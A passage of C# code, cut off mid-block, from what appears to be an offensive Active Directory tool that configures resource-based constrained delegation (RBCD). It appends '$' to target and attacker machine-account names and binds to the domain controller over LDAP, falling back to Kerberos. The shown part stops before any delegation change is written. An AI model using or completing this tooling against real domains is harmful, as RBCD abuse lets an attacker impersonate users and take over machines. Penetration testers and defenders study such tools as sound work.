if (!targetComputer.EndsWith("$"))
targetComputer += "$";
if (!attackerComputer.EndsWith("$"))
attackerComputer += "$";
Console.WriteLine("[*] Configuring RBCD for " + targetComputer);
Console.WriteLine("[*] Using: " + WindowsIdentity.GetCurrent().Name);
LdapConnection ldapConnection = new LdapConnection(new LdapDirectoryIdentifier(domain));
ldapConnection.SessionOptions.ProtocolVersion = 3;
ldapConnection.AuthType = AuthType.Negotiate;
try
{
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated to " + domain);
}
catch (LdapException ex)
{
Console.WriteLine("[!] LDAP bind failed: " + ex.Message);
ldapConnection.AuthType = AuthType.Kerberos;
ldapConnection.Bind();
Console.WriteLine("[+] Authenticated with Kerberos");